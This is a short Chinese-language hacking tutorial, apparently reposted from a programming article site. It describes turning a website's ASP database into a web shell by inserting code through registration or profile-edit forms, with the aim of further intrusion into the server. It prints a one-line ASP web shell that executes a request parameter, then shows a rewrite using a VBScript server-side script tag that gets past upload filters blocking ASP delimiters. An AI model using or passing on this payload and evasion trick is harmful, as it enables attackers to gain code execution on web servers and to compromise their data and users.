插入ASP代碼讓網站數據庫成為ASP木馬

　　很多時候我們可以通過在注冊表單或者用戶信息修改表單中插入簡短的ASP代碼使網站ASP數據庫變成為一個ASP木馬然後進一步入侵控制服務器

　　不過在上傳代碼過程中許多網頁程序都不允許包含〈%%〉標記符號的內容的文件上傳

　　這樣就有好多SHELL不能上傳上去了可以采用下面的方法解決以藍屏最小ASP木馬為例

　　首先原程序代碼是

　　〈%execute request(l)%〉

　　我們可以把它的標簽換下來

　　然後改成

　　<scriptlanguage=VBScript runat=server>execute request(l)</Script>

　　這樣就避開了使用〈%%〉保存為ASP程序同樣執行

From:http://tw.wingwit.com/Article/program/net/201311/13610.html